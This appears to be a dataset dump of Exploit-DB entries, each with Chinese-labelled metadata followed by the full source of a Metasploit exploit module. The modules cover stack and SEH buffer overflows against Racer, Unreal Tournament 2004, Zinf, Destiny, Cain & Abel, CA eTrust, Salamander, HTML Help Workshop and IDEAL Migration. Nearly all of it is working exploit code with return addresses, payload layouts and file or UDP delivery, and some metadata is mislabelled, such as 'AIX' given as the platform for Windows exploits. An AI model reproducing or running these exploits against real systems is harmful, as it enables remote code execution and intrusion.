QLWD/code_shield huggingface dataset:
标题: Racer 0.5.3 Beta 5 - Remote Buffer Overflow (Metasploit) EDB-ID: 16694 CVE: 2007-4370 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: racer_503beta5.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Udp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Racer v0.5.3 beta 5 Buffer Overflow',
   'Description'    => %q{
     This module explots the Racer Car and Racing Simulator game
    versions v0.5.3 beta 5 and earlier. Both the client and server listen
    on UDP port 26000. By sending an overly long buffer we are able to
    execute arbitrary code remotely.
   },
   'Author'         => [ 'Trancek <trancek[at]yashira.org>' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     [ 'CVE', '2007-4370' ],
     [ 'OSVDB', '39601' ],
     [ 'URL', 'http://www.milw0rm.com/exploits/4283' ],
     [ 'BID', '25297' ],
    ],
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x5c\x00",
     'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # Tested ok patrickw 20090503
     [ 'Fmodex.dll - Universal', { 'Ret' => 0x10073FB7 } ], # jmp esp
     [ 'Win XP SP2 English', { 'Ret' => 0x77d8af0a } ],
     [ 'Win XP SP2 Spanish', { 'Ret' => 0x7c951eed } ],
    ],
   'DisclosureDate' => 'Aug 10 2008',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(26000)
   ], self.class)
 end

 def exploit
  connect_udp

  buf = Rex::Text.rand_text_alphanumeric(1001)
  buf << [target.ret].pack('V')
  buf << payload.encoded
  buf << Rex::Text.rand_text_alphanumeric(1196 - payload.encoded.length)

  udp_sock.put(buf)

  handler
  disconnect_udp
 end
end URL: https://www.exploit-db.com/exploits/16694
标题: Zinf Audio Player 2.2.1 - '.pls' Local Stack Buffer Overflow (Metasploit) EDB-ID: 16688 CVE: 2004-0964 类型: LOCAL 平台: WINDOWS 发布日期: 2010-11-24 漏洞利用脚本: ##
# $Id: zinfaudioplayer221_pls.rb 11127 2010-11-24 19:35:38Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Zinf Audio Player 2.2.1 (PLS File) Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack-based buffer overflow in the Zinf Audio Player 2.2.1.
    An attacker must send the file to victim and the victim must open the file.
    Alternatively it may be possible to execute code remotely via an embedded
    PLS file within a browser, when the PLS extention is registered to Zinf.
    This functionality has not been tested in this module.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'Trancek <trancek[at]yashira.org>', 'patrick' ],
   'Version'        => '$Revision: 11127 $',
   'References'     =>
    [
     [ 'CVE', '2004-0964' ],
     [ 'OSVDB', '10416' ],
     [ 'URL', 'http://www.milw0rm.com/exploits/7888' ],
     [ 'BID', '11248' ],
    ],
   'Payload'        =>
    {
     'Space'    => 800,
     'BadChars' => "\x00\x0a\x0d\x3c\x22\x3e\x3d",
     'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
     'StackAdjustment' => -3500,
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     # Tested by patrick - 20090429 xpsp3
     [ 'Zinf Universal 2.2.1', { 'Ret' => 0x1204f514 } ], #pop esi; pop ebx; ret - ./Plugins/zinf.ui
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Sep 24 2004',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'The file name.',  'exploit_zinf.pls']),
   ], self.class)

 end

 def exploit
  seh = generate_seh_payload(target.ret)
  filepls = rand_text_alpha_upper(1424) + seh

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(filepls)

 end

end URL: https://www.exploit-db.com/exploits/16688
标题: Unreal Tournament 2004 (Windows) - 'secure' Remote Overflow (Metasploit) EDB-ID: 16693 CVE: 2004-0608 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: ut2004_secure.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Udp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Unreal Tournament 2004 "secure" Overflow (Win32)',
   'Description'    => %q{

   This is an exploit for the GameSpy secure query in
   the Unreal Engine.

   This exploit only requires one UDP packet, which can
   be both spoofed and sent to a broadcast address.
   Usually, the GameSpy query server listens on port 7787,
   but you can manually specify the port as well.

   The RunServer.sh script will automatically restart the
   server upon a crash, giving us the ability to
   bruteforce the service and exploit it multiple
   times.

   },
   'Author'         => [ 'stinko' ],
   'License'        => BSD_LICENSE,
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     [ 'CVE', '2004-0608'],
     [ 'OSVDB', '7217'],
     [ 'BID', '10570'],

    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 512,
     'BadChars' => "\x5c\x00",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['UT2004 Build 3186', { 'Rets' => [ 0x10184be3, 0x7ffdf0e4 ] }], # jmp esp
    ],
   'DisclosureDate' => 'Jun 18 2004',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(7787)
   ], self.class)

 end

 def exploit
  connect_udp

  buf = make_nops(1024)
  buf[0, 60] = [target['Rets'][0]].pack('V') * 15
  buf[54, 4] = [target['Rets'][1]].pack('V')
  buf[0,  8] = "\\secure\\"
  buf[buf.length - payload.encoded.length, payload.encoded.length] = payload.encoded

  udp_sock.put(buf)

  handler
  disconnect_udp
 end

 def ut_version
  connect_udp
  udp_sock.put("\\basic\\")
  res = udp_sock.recvfrom(8192)
  disconnect_udp

  if (res and (m=res.match(/\\gamever\\([0-9]{1,5})/)))
   return m[1]
  end

  return
 end

 def check
  vers = ut_version

  if (not vers)
   print_status("Could not detect Unreal Tournament Server")
   return
  end

  print_status("Detected Unreal Tournament Server Version: #{vers}")
  if (vers =~ /^(3120|3186|3204)$/)
   print_status("This system appears to be exploitable")
   return Exploit::CheckCode::Appears
  end


  if (vers =~ /^(2...)$/)
   print_status("This system appears to be running UT2003")
   return Exploit::CheckCode::Detected
  end

  print_status("This system appears to be patched")
  return Exploit::CheckCode::Safe
 end

end URL: https://www.exploit-db.com/exploits/16693
标题: Microsoft HTML Help Workshop 4.74 - '.hhp' compiled Buffer Overflow (Metasploit) (4) EDB-ID: 16683 CVE: 2006-0564 类型: LOCAL 平台: WINDOWS 发布日期: 2010-09-25 漏洞利用脚本: ##
# $Id: hhw_hhp_compiledfile_bof.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Egghunter

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow Exploit',
   'Description'    => %q{
     This module exploits a stack buffer overflow in HTML Help Workshop 4.74
    By creating a specially crafted hhp file, an an attacker may be able
    to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'bratax', 'jduck' ],
   'Version'        => '$Revision: 10477 $',
   'References'     =>
    [
     [ 'CVE', '2006-0564'],
     [ 'OSVDB', '22941'],
     [ 'URL', 'http://www.exploit-db.com/exploits/1488' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/1490' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => "\x00\x0a\x0d\x1a\x2f\x5c",
     'StackAdjustment' => -4800,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP English SP3', { 'Offset' => 242, 'Ret' => 0x00401F93 } ], # CALL EDI hhw.exe v4.74.8702.0
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Feb 06 2006',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('FILENAME',   [ false, 'The file name.', 'msf.hhp']),
    ], self.class)

 end

 def exploit

  # use the egghunter!
  eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })

  off = target['Offset']
  idxf = ""
  idxf << make_nops(off - eh_stub.length)
  idxf << eh_stub
  idxf << [target.ret].pack('V')

  sploit = "[OPTIONS]\r\n"
  sploit << "Compiled file="
  sploit << idxf
  sploit << "\r\n"
  sploit << "\r\n"
  sploit << "[FILES]\r\n"
  sploit << "\r\n"
  sploit << eh_egg

  hhp = sploit

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(hhp)
 end

end URL: https://www.exploit-db.com/exploits/16683
标题: CA AntiVirus Engine - CAB Buffer Overflow (Metasploit) EDB-ID: 16677 CVE: 2007-2864 类型: LOCAL 平台: WINDOWS 发布日期: 2010-11-11 漏洞利用脚本: ##
# $Id: ca_cab.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'CA Antivirus Engine CAB Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in CA eTrust Antivirus 8.1.637.
     By creating a specially crafted CAB file, an an attacker may be able
     to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 10998 $',
   'References'     =>
    [
     [ 'CVE', '2007-2864' ],
     [ 'OSVDB', '35245'],
     [ 'BID', '24330' ],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-07-035.html' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space'    => 250,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,
     'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [ 'Windows 2000 All / Windows XP SP0/SP1 (CA eTrust Antivirus 8.1.637)', { 'Ret' => 0x6dc886ea } ], # inocore.dll
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Jun 05 2007',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME',   [ false, 'The file name.',  'msf.cab']),
   ], self.class)
 end

 def exploit

  cab_header =  "\x4D\x53\x43\x46\x00\x00\x00\x00\xC4\x0D\x00\x00\x00\x00\x00\x00"
  cab_header << "\x2C\x00\x00\x00\x00\x00\x00\x00\x03\x01\x01\x00\x01\x00\x00\x00"
  cab_header << "\xD2\x04\x00\x00\x44\x00\x00\x00\x01\x00\x00\x00\x78\x0D\x00\x00"
  cab_header << "\x00\x00\x00\x00\x00\x00\xE2\x36\x53\xAD\x20\x00"

  sploit =  make_nops(268 - payload.encoded.length) + payload.encoded
  sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
  sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-260").encode_string
  sploit << make_nops(800)

  cab = cab_header + sploit

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(cab)

 end

end

=begin
0:001> !exchain
00cdf1b0: VetE!InoAvpackDat+ca058 (600d19c8)
00cdf2fc: 316a4130
Invalid exception stack at 6a413969
0:001> !pattern_offset 1024 0x6a413969
[Byakugan] Control of 0x6a413969 at offset 268.
0:001> !pattern_offset 1024 0x316a4130
[Byakugan] Control of 0x316a4130 at offset 272.
0:001> u 0x6dc886ea L3
INOCORE!QSIInitQSysInfo+0x278a:
6dc886ea 5f              pop     edi
6dc886eb 5e              pop     esi
6dc886ec c3              ret
=end URL: https://www.exploit-db.com/exploits/16677
标题: Destiny Media Player 1.61 - PLS .m3u Buffer Overflow (Metasploit) EDB-ID: 16684 CVE: 2009-3429 类型: LOCAL 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: destinymediaplayer16.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Destiny Media Player 1.61 PLS M3U Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack-based buffer overflow in the Destiny Media Player 1.61.
     An attacker must send the file to victim and the victim must open the file. File-->Open Playlist
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'Trancek <trancek[at]yashira.org>' ],
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     [ 'CVE', '2009-3429' ],
     [ 'OSVDB', '53249' ],
     [ 'URL', 'http://www.milw0rm.com/exploits/7651' ],
     [ 'BID', '33091' ],
    ],
   'Payload'        =>
    {
     'Space'    => 800,
     'BadChars' => "\x00\x0a\x0d\x3c\x22\x3e\x3d",
     'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
     'StackAdjustment' => -3500,
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     # Tested ok patrickw 20090503
     [ 'Destiny Universal', { 'Ret' => 0x00bf9d4d } ], #jmp esp Destiny.exe
     [ 'Windows XP SP2 Spanish', { 'Ret' => 0x7c951eed } ], #jmp esp
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Jan 03 2009',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'The file name.',  'exploit_destiny.m3u']),
   ], self.class)

 end

 def exploit

  filepls = rand_text_alpha_upper(2052)
  filepls << [target.ret].pack('V')
  filepls << make_nops(10)
  filepls << payload.encoded
  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(filepls)

 end

end URL: https://www.exploit-db.com/exploits/16684
标题: Cain & Abel 4.9.24 - RDP Buffer Overflow (Metasploit) EDB-ID: 16659 CVE: 2008-5405 类型: LOCAL 平台: AIX 发布日期: 2010-11-24 漏洞利用脚本: ##
# $Id: cain_abel_4918_rdp.rb 11127 2010-11-24 19:35:38Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Cain & Abel <= v4.9.24 RDP Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack-based buffer overflow in the Cain & Abel v4.9.24
    and below. An attacker must send the file to victim, and the victim must open
    the specially crafted RDP file under Tools -> Remote Desktop Password Decoder.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'Trancek <trancek[at]yashira.org>' ],
   'Version'        => '$Revision: 11127 $',
   'References'     =>
    [
     [ 'CVE', '2008-5405' ],
     [ 'OSVDB', '50342' ],
     [ 'URL', 'http://www.milw0rm.com/exploits/7329' ],
     [ 'BID', '32543' ],
    ],
   'Payload'        =>
    {
     'Space'    => 800,
     'BadChars' => "\x00\x0a\x0d\x3c\x22\x3e\x3d",
     'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
     'StackAdjustment' => -3500,
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     # Tested ok patrickw 20090503
     [ 'Windows XP SP2 English',  { 'Ret' => 0x7c82385d } ], #call esp
     [ 'Windows XP SP0/1 English',  { 'Ret' => 0x71ab7bfb } ], #jmp esp
     [ 'Windows XP SP2 Spanish', { 'Ret' => 0x7c951eed } ], #jmp esp
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Nov 30 2008',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'The file name.',  'exploit_cain.rdp']),
   ], self.class)
 end

 def exploit

  filerdp = rand_text_alpha_upper(8206)
  filerdp << [target.ret].pack('V') + [target.ret].pack('V')
  filerdp << payload.encoded
  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(filerdp)

 end

end URL: https://www.exploit-db.com/exploits/16659
标题: Altap Salamander 2.5 PE Viewer - Local Buffer Overflow (Metasploit) EDB-ID: 16656 CVE: 2007-3314 类型: LOCAL 平台: WINDOWS 发布日期: 2010-12-16 漏洞利用脚本: ##
# $Id: altap_salamander_pdb.rb 11353 2010-12-16 20:11:01Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Altap Salamander 2.5 PE Viewer Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in Altap Salamander <= v2.5.
     By creating a malicious file and convincing a user to view the file with
     the Portable Executable Viewer plugin within a vulnerable version of
     Salamander, the PDB file string is copied onto the stack and the
     SEH can be overwritten.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'patrick' ],
   'Version'        => '$Revision: 11353 $',
   'References'     =>
    [
     [ 'CVE', '2007-3314' ],
     [ 'BID', '24557' ],
     [ 'OSVDB', '37579' ],
     [ 'URL', 'http://vuln.sg/salamander25-en.html' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => "\x00\x0d\x0a=:\\/%$^&*",
     'StackAdjustment' => -3500,
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [ 'Universal Salamander 2.5', { 'Ret' => 0x23920b59 } ], # pop ebx; pop eax; ret salrtl.dll
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Jun 19 2007',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('FILENAME', [ false, 'The file name.',  'msf-salamander-pdb.exe'])
    ], self.class)

 end

 def exploit

  seh = generate_seh_payload(target.ret)

  # load the static pdb file beginning
  path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2007-3314.dat")
  fd = File.open(path, "rb")
  sploit = fd.read(fd.stat.size)
  fd.close

  sploit << rand_text_alphanumeric(1098) + seh
  sploit << ".pdb"

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(sploit)

 end

end URL: https://www.exploit-db.com/exploits/16656
标题: PointDev IDEAL Migration - Buffer Overflow (Metasploit) EDB-ID: 16657 CVE: 2009-4265 类型: DOS 平台: AIX 发布日期: 2010-09-25 漏洞利用脚本: ##
# $Id: ideal_migration_ipj.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'PointDev IDEAL Migration Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in versions v9.7
    through v10.5 of IDEAL Administration and versions 4.5 and 4.51 of
    IDEAL Migration. All versions are suspected to be vulnerable.
    By creating a specially crafted ipj file, an an attacker may be able
    to execute arbitrary code.

    NOTE: IDEAL Administration 10.5 is compiled with /SafeSEH
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'Dr_IDE', 'dookie', 'jduck' ],
   'Version'        => '$Revision: 10477 $',
   'References'     =>
    [
     [ 'CVE', '2009-4265' ],
     [ 'OSVDB', '60681' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/10319' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/12403' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/12404' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/12540' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x00\x0a\x1a\x22\x3c\x3e",
     'StackAdjustment' => -3500,
     'DisableNops' => true
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [ 'IDEAL Migration <= 4.5.1 on Windows XP',
      {
       'Ret' => 0x1001411e # CALL EBP in ULMigration_us.dll
       # 'Ret' => 0x7c96bf33 # JMP ESP in ULMigration_us.dll (from Blake)
       # 'Ret' => 0x77f31d2f # JMP ESP in ?? (from Dr_IDE)
      }
     ],

     [ 'IDEAL Administration <= 10.5 on Windows XP',
      {
       'Ret' => 0x10010F2E # CALL EBP in ListWmi.dll
       # 'Ret' => 0x77f31d2f # JMP ESP in ?? (from Dr_IDE)
      }
     ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Dec 05 2009',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME',   [ false, 'The file name.',  'msf.ipj']),
   ], self.class)
 end

 def exploit

  ipj = "\r\n"
  ipj << "[Group,Export,Yes]\r\n"
  ipj << "Computer="

  sploit = ""
  sploit << rand_text_alpha_upper(2420)
  sploit << [target.ret].pack('V')
  # These nops are required to move the payload below where ebp points
  # when returning...
  sploit << make_nops(768)
  sploit << payload.encoded

  ipj << sploit
  ipj << "\r\n"
  ipj << "[End]\r\n"

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(ipj)

 end

end URL: https://www.exploit-db.com/exploits/16657